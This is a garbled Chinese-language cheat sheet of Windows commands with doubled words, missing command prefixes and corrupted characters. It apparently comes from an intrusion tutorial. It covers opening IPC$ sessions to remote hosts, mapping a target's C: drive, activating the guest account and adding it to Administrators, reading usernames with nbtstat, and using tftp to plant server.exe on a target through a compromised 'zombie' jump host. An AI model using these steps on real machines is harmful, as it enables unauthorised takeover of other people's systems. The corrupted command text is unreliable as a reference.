1、useuseipipc$ipipc$““user:“user:““建立建立IPCIPC空鏈接空鏈接useuseipipc$ipipc$“密碼密碼“user:“user:“用戶名用戶名“建立建立IPCIPC非空鏈接非空鏈接useuseh:h:ipc$ipc$“密碼密碼“user:“user:“用戶名用戶名“直接登陸后映射對(duì)方直接登陸后映射對(duì)方C：到本地為到本地為H:H:useuseh:h:ipc$ipc$登陸后映射對(duì)方登陸后映射對(duì)方C：到

2、本地為：到本地為H:H:useuseipipc$ipipc$deldel刪除刪除IPCIPC鏈接鏈接useuseh:h:deldel刪除映射對(duì)方到本地的為刪除映射對(duì)方到本地的為H:H:的映射的映射user用戶名用戶名密碼密碼addadd建立用戶建立用戶userguestguestactive:yesactive:yes激活激活guestguest用戶用戶user查看有哪些用戶查看有哪些用戶user帳戶名帳戶名查看帳戶的屬性查看帳戶的屬性

3、localgrouplocalgroupadministratsadministrats用戶名用戶名addadd把“用戶用戶“添加到管理添加到管理員中使其具有管理員權(quán)限員中使其具有管理員權(quán)限注意：注意：administratadministrat后加后加s用復(fù)數(shù)用復(fù)數(shù)startstart查看開(kāi)啟了哪些服務(wù)查看開(kāi)啟了哪些服務(wù)startstart服務(wù)名服務(wù)名開(kāi)啟服務(wù)；開(kāi)啟服務(wù)；(如::startstartteltel，startstarts

4、chedule)schedule)stopstop服務(wù)名服務(wù)名停止某服務(wù)停止某服務(wù)timetime目標(biāo)目標(biāo)ipip查看對(duì)方時(shí)間查看對(duì)方時(shí)間timetime目標(biāo)目標(biāo)ipipsetset設(shè)置本地計(jì)算機(jī)時(shí)間與設(shè)置本地計(jì)算機(jī)時(shí)間與“目標(biāo)目標(biāo)IP“IP“主機(jī)的時(shí)間主機(jī)的時(shí)間同步同步加上參數(shù)加上參數(shù)yesyes可取消確認(rèn)信息可取消確認(rèn)信息viewview查看本地局域網(wǎng)內(nèi)開(kāi)啟了哪些共享查看本地局域網(wǎng)內(nèi)開(kāi)啟了哪些共享viewviewipip查看對(duì)方局域

5、網(wǎng)內(nèi)開(kāi)啟了哪些共享查看對(duì)方局域網(wǎng)內(nèi)開(kāi)啟了哪些共享configconfig顯示系統(tǒng)網(wǎng)絡(luò)設(shè)置顯示系統(tǒng)網(wǎng)絡(luò)設(shè)置logofflogoff斷開(kāi)連接的共享斷開(kāi)連接的共享pausepause服務(wù)名服務(wù)名暫停某服務(wù)暫停某服務(wù)sendsendipip“文本信息文本信息“向?qū)Ψ桨l(fā)信息向?qū)Ψ桨l(fā)信息verver局域網(wǎng)內(nèi)正在使用的網(wǎng)絡(luò)連接類型和信息局域網(wǎng)內(nèi)正在使用的網(wǎng)絡(luò)連接類型和信息shareshare查看本地開(kāi)啟的共享查看本地開(kāi)啟的共享shareshareip

6、c$ipc$開(kāi)啟開(kāi)啟ipc$ipc$共享共享shareshareipc$ipc$deldel刪除刪除ipc$ipc$共享共享sharesharec$c$deldel刪除刪除C：共享：共享userguestguest1234512345用guestguest用戶登陸后用將密碼改為用戶登陸后用將密碼改為1234512345passwdpasswd密碼密碼更改系統(tǒng)登陸密碼更改系統(tǒng)登陸密碼statstataa查看開(kāi)啟了哪些端口查看開(kāi)啟了哪些端口

7、常用常用statstatananstatstatnn查看端口的網(wǎng)絡(luò)連接情況，常用查看端口的網(wǎng)絡(luò)連接情況，常用statstatananstatstatvv查看正在進(jìn)行的工作查看正在進(jìn)行的工作statstatpp協(xié)議名協(xié)議名例：例：statstatpptcqiptcqip查看某協(xié)議使用情況（查查看某協(xié)議使用情況（查看tcpiptcpip協(xié)議使用情況）協(xié)議使用情況）statstatss查看正在使用的所有協(xié)議使用情況查看正在使用的所有協(xié)議使用情

8、況nbtstatnbtstatAAipip對(duì)方對(duì)方136136到139139其中一個(gè)端口開(kāi)了的話，就可查看對(duì)其中一個(gè)端口開(kāi)了的話，就可查看對(duì)方最近登陸的用戶名（方最近登陸的用戶名（0303前的為用戶名）前的為用戶名）注意：參數(shù)注意：參數(shù)AA要大寫(xiě)要大寫(xiě)tracerttracert參數(shù)參數(shù)ip(ip(或計(jì)算機(jī)名或計(jì)算機(jī)名)跟蹤路由（數(shù)據(jù)包），參數(shù)：跟蹤路由（數(shù)據(jù)包），參數(shù)：“w“w數(shù)參數(shù)：參數(shù)：bb指二進(jìn)制文件，指二進(jìn)制文件，aa指LLL

9、L格式文件格式文件copycopyipadmin$svv.exeipadmin$svv.exec:c:或:copyipadmin$.:copyipadmin$.復(fù)制對(duì)方復(fù)制對(duì)方admini$admini$共享下的共享下的srv.exesrv.exe文件（所有文件）至本地文件（所有文件）至本地C：xcopyxcopy要復(fù)制的文件或目錄樹(shù)要復(fù)制的文件或目錄樹(shù)目標(biāo)地址目標(biāo)地址目錄名目錄名復(fù)制文件和目錄復(fù)制文件和目錄樹(shù)，用參數(shù)樹(shù)，用參數(shù)YY將不

10、提示覆蓋相同文件將不提示覆蓋相同文件tftptftpii自己自己IP(IP(用肉機(jī)作跳板時(shí)這用肉機(jī)用肉機(jī)作跳板時(shí)這用肉機(jī)IP)IP)getgetserver.exeserver.exec:server.exec:server.exe登陸后，將登陸后，將“IP““IP“的server.exeserver.exe下載到目標(biāo)主機(jī)下載到目標(biāo)主機(jī)c:server.exec:server.exe參數(shù)：參數(shù)：ii指以二進(jìn)制模式傳送，如傳送指以二進(jìn)制模

11、式傳送，如傳送exeexe文件時(shí)文件時(shí)用，如不加用，如不加ii則以則以IIII模式（傳送文本文件模式）進(jìn)行傳送模式（傳送文本文件模式）進(jìn)行傳送tftptftpii對(duì)方對(duì)方IPIPputputc:server.exec:server.exe登陸后，上傳本地登陸后，上傳本地c:server.exec:server.exe至主機(jī)至主機(jī)ftpftpipip端口端口用于上傳文件至服務(wù)器或進(jìn)行文件操作，默認(rèn)端口為用于上傳文件至服務(wù)器或進(jìn)行文件操作，

12、默認(rèn)端口為2121。binbin指用二進(jìn)制方式傳送（可執(zhí)行文件進(jìn)）；默認(rèn)為指用二進(jìn)制方式傳送（可執(zhí)行文件進(jìn)）；默認(rèn)為IIII格式格式傳送傳送(文本文件時(shí)文本文件時(shí))routerouteprintprint顯示出顯示出IPIP路由，將主要顯示網(wǎng)絡(luò)地址路由，將主要顯示網(wǎng)絡(luò)地址wkwkaddresaddres，子網(wǎng)掩碼子網(wǎng)掩碼maskmask，網(wǎng)關(guān)地址，網(wǎng)關(guān)地址GatewayGatewayaddresaddres，接口地址，接口地址Inter

13、faceInterfacearparp查看和處理查看和處理ARPARP緩存，緩存，ARPARP是名字解析的意思，負(fù)責(zé)把一個(gè)是名字解析的意思，負(fù)責(zé)把一個(gè)IPIP解析成一個(gè)物理性的析成一個(gè)物理性的MACMAC地址。地址。arparpaa將顯示出全部信息將顯示出全部信息startstart程序名或命令程序名或命令maxmax或minmin新開(kāi)一個(gè)新窗口并最大化（最小新開(kāi)一個(gè)新窗口并最大化（最小化）運(yùn)行某程序或命令化）運(yùn)行某程序或命令memme

14、m查看查看cpucpu使用情況使用情況attribattrib文件名文件名(目錄名目錄名)查看某文件（目錄）的屬性查看某文件（目錄）的屬性attribattrib文件名文件名AARRSSHH或AARRSSHH去掉去掉(添加添加)某文件的某文件的存檔，只讀，系統(tǒng)，隱藏檔，只讀，系統(tǒng)，隱藏屬性；用＋則是添加為某屬性屬性；用＋則是添加為某屬性dirdir查看文件，參數(shù)：查看文件，參數(shù)：QQ顯示文件及目錄屬系統(tǒng)哪個(gè)用戶，顯示文件及目錄屬系統(tǒng)哪個(gè)

15、用戶，T:CT:C顯示文件創(chuàng)建時(shí)間，示文件創(chuàng)建時(shí)間，T:AT:A顯示文件上次被訪問(wèn)時(shí)間，顯示文件上次被訪問(wèn)時(shí)間，T:WT:W上次被修改上次被修改時(shí)間時(shí)間datedatett、timetimett使用此參數(shù)即使用此參數(shù)即“DATET““DATET“、“TIMET““TIMET“將只顯示當(dāng)前將只顯示當(dāng)前日期和時(shí)間，而不必輸入新日期和時(shí)間日期和時(shí)間，而不必輸入新日期和時(shí)間setset指定環(huán)境變量名稱指定環(huán)境變量名稱=要指派給變量的字符要指派給

16、變量的字符設(shè)置環(huán)境變量設(shè)置環(huán)境變量setset顯示當(dāng)前所有的環(huán)境變量顯示當(dāng)前所有的環(huán)境變量setsetp(p(或其它字符或其它字符)顯示出當(dāng)前以字符顯示出當(dāng)前以字符p(p(或其它字符或其它字符)開(kāi)頭的所有環(huán)開(kāi)頭的所有環(huán)境變量境變量pausepause暫停批處理程序，并顯示出：請(qǐng)按任意鍵繼續(xù)暫停批處理程序，并顯示出：請(qǐng)按任意鍵繼續(xù)........ifif在批處理程序中執(zhí)行條件處理（更多說(shuō)明見(jiàn)在批處理程序中執(zhí)行條件處理（更多說(shuō)明見(jiàn)ifif命

17、令及變量）命令及變量）gotogoto標(biāo)簽標(biāo)簽將cmd.execmd.exe導(dǎo)向到批處理程序中帶標(biāo)簽的行（標(biāo)簽必須單導(dǎo)向到批處理程序中帶標(biāo)簽的行（標(biāo)簽必須單獨(dú)一行，且以冒號(hào)打頭，例如：獨(dú)一行，且以冒號(hào)打頭，例如：“：start“start“標(biāo)簽）標(biāo)簽）callcall路徑路徑批處理文件名批處理文件名從批處理程序中調(diào)用另一個(gè)批處理程序從批處理程序中調(diào)用另一個(gè)批處理程序（更多說(shuō)明見(jiàn)（更多說(shuō)明見(jiàn)callcall）ff對(duì)一組文件中的每一個(gè)文件執(zhí)